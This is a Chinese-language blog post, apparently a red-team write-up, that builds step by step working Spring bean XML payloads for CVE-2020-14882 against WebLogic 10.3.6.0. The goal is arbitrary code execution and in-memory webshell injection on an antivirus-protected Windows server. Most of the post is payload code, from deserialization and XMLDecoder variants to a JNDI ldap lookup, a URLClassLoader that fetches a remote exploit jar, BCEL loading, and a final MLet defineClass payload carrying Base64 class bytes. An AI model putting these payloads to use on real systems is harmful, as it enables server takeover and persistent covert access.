0x00 背景 有一次通过CVE-2020-14882
漏洞打了一台Windows上的weblogic 10.3.6.0
,服务器上有杀软。由于公开的如下spring bean payload只能执行命令,拿权限很困难。
1 2 3 4 5 6 7 8 9 10 11 <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" > <bean id ="pb" class ="java.lang.ProcessBuilder" init-method ="start" > <constructor-arg > <list > <value > cmd</value > <value > /c</value > <value > <![CDATA[calc]]></value > </list > </constructor-arg > </bean > </beans >
只能思考如何构造可以执行任意代码的spring bean xml
来一键注入内存马了。
weblogic下spring bean执行任意代码的主要困局是weblogic下的spring不支持spel表达式,导致我们无法通过spel表达式来执行任意代码来。
同时这里顺便提一嘴,个人认为好的payload应该有以下3个特点。
兼容性高
利用复杂度低
简洁体积小
接下来将以这几点要求,分享下构造该系列payload的过程,这也是我在编写woodpecker利用插件时经常经历的过程与思考。
0x01 init-method系列payload 目前公开的payload是将恶意数据传入构成函数,然后通过init-method
来调用一个无参数构造方法来触发。按照这个条件,我找到了两个可以执行代码的class。
1.2 UnitOfWorkChangeSet 在weblogic 10.3.6.0版本有一个oracle.toplink.internal.sessions.UnitOfWorkChangeSet
类,构造函数可以直接触发反序列化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?xml version="1.0" encoding="UTF-8"?> <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" > <bean id ="pb" class ="oracle.toplink.internal.sessions.UnitOfWorkChangeSet" > <constructor-arg > <list > <value type ="byte" > -84</value > <value type ="byte" > -19</value > <value type ="byte" > 0</value > <value type ="byte" > 5</value > ...... </list > </constructor-arg > </bean > </beans >
但是这个payload需要有gadget才能任意代码执行,显然不是很完美。
1.2 XmlDecoder 在使用XMLDecoder反序列化时,我们是将xml序列化内容以流的形式传入构造函数,然后再调用readObject无参构造方法进行反序列化。所以我们我们完全可以通过XMLDecoder反序列化执行becl代码来实现任意代码执行。
1 2 3 4 5 String xml = "<java><void class =\"com.sun.org.apache.bcel.internal.util.ClassLoader\"><void method=\"loadClass\"><string>$$BCEL$$$l$8b......</string><void method=\"newInstance\"></void></void></void></java>" ; ByteArrayInputStream inputStream = new ByteArrayInputStream(xml.getBytes()); XMLDecoder xmlDecoder = new XMLDecoder(inputStream); xmlDecoder.readObject();
把上面代码转成spring bean如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?xml version="1.0" encoding="UTF-8"?> <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" > <bean id ="pb" class ="java.beans.XMLDecoder" init-method ="readObject" > <constructor-arg > <bean id ="x" class ="java.io.ByteArrayInputStream" > <constructor-arg > <list > <value type ="byte" > 60</value > <value type ="byte" > 106</value > <value type ="byte" > 97</value > <value type ="byte" > 118</value > <value type ="byte" > 97</value > <value type ="byte" > 62</value > ...... </list > </constructor-arg > </bean > </constructor-arg > </bean > </beans >
这个payload看着确实要通用很多,但是体积太大了,注入一个内存马的xml要六百多k。在本地没有问题,但在实战环境上没有成功,当时感觉可能是体积太大的问题。所以只能思考如何减少体积。
0x02 factory-method系列payload 后来发现通过init-method来构造payload,限制有点多,人工找class成本有点大。摆在我面前的有两条路
编写gadgetinspector规则挖掘符合条件的class
再翻翻官方文档,看看有没有可能直接调用有参数方法。
很显然挖链成本高一些,于是我打算先走第二条路,走不通就只能死磕第一条路了。在看官方文档 时,我着重关注如下涉及方法调用的标签和属性。
标签/属性
分析
<bean><constructor-arg></constructor-arg></bean>
调用构造器
<property>
创建bean时,可调setter方法
init-method
bean初始化时,可以调用一个无参方法
destroy-method
bean被销毁时,可以调用一个无参方法
lookup-method
可以控制返回结果,但是weblogic没有cglib库,这个标签没发用
replace-method
任意方法替换,可以替换某些方法的实现逻辑为另一个方法,但是xml无法定义替换逻辑
factory-method
通过调用工厂方法创建bean,可调用返回值不为void的有参方法,静态和非静态都可以
很显然factory-method非常符合我们的要求,构造起payload就轻松多了。
2.1 jndi 1 2 3 4 5 6 <?xml version="1.0" encoding="UTF-8"?> <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" > <bean class ="javax.naming.InitialContext" factory-method ="doLookup" > <constructor-arg type ="java.lang.String" value ="ldap://127.0.0.1:1664/exp" /> </bean > </beans >
jndi有jdk版本限制,so继续优化。
2.2 loadjar 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?xml version="1.0" encoding="UTF-8"?> <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" > <bean id ="classLoader" class ="java.net.URLClassLoader" > <constructor-arg > <list > <value type ="java.net.URL" > http://127.0.0.1:1664/exp.jar</value > </list > </constructor-arg > </bean > <bean id ="clazz" factory-bean ="classLoader" factory-method ="loadClass" > <constructor-arg type ="java.lang.String" value ="InjectMemshell" /> </bean > <bean factory-bean ="clazz" factory-method ="newInstance" > </bean > </beans >
加载class要通用很多,只是需要搭一个http服务比较繁琐,利用上不是很方便,so继续优化。
2.3 bcel 1 new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass("$$BCEL$$$..." ).newInstance();
代码转换为spring bean:
1 2 3 4 5 6 7 8 <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation =" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd " > <bean id ="classloader" class ="com.sun.org.apache.bcel.internal.util.ClassLoader" /> <bean id ="clazz" factory-bean ="classloader" factory-method ="loadClass" > <constructor-arg type ="java.lang.String" value ="$$BCEL$$$......" /> </bean > <bean factory-bean ="clazz" factory-method ="newInstance" > </bean > </beans >
有的JDK版本下bcel被去掉了,so还得继续优化。
2.4 java.lang.ClassLoader#defineClass java下执行代码要说兼容性最好,当然还得是java.lang.ClassLoader#defineClass
。接下来只需要思考如何把下面的代码,用sprng bean来表达即可。
1 2 3 4 5 byte [] clazzBytes = new byte []{-54 ,-2 ,-70 ,-66 ,0 ,......};Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass" , byte [].class, int .class, int .class); defineClass.setAccessible(true ); Class clazz = (Class)defineClass.invoke(new MLet(),clazzBytes,0 ,clazzBytes.length); clazz.newInstance();
通过研究发现一个小细节,spring bean可以调用私有方法无需反射。这就很方便了,可以直接调用当前class及其所有父类的方法。
构造过程还遇到一个问题,使用<list>
标签存储class字节码导致payload要大很多。当然有的人会想的用weblogic.utils.Hex
来编码,其实Base64编码体积更小。由于不同版本JDK下Base64 api有变化,为了通用我打算去weblogic下找,并着重考虑weblogic.*
包名下的。最后找到了如下两个,不过1
没有被当前classloader加载,只能选择2
。
weblogic.servlet.utils.Base64
weblogic.utils.encoders.BASE64Decoder
最终优化如下,大概就是我目前觉得最好的payload了。如果你有更好的payload欢迎留言交流。
1 2 3 4 5 6 7 8 9 10 11 12 13 <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation =" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd " > <bean id ="decoder" class ="weblogic.utils.encoders.BASE64Decoder" /> <bean id ="clazzBytes" factory-bean ="decoder" factory-method ="decodeBuffer" > <constructor-arg type ="java.lang.String" value ="yv66vgAAA......" /> </bean > <bean id ="classLoader" class ="javax.management.loading.MLet" /> <bean id ="clazz" factory-bean ="classLoader" factory-method ="defineClass" > <constructor-arg type ="[B" ref ="clazzBytes" /> <constructor-arg type ="int" value ="0" /> <constructor-arg type ="int" value ="10692" /> </bean > <bean factory-bean ="clazz" factory-method ="newInstance" /> </beans >
顺便写一个woodpecker插件留以后备用,美如画。
0x03 参考文章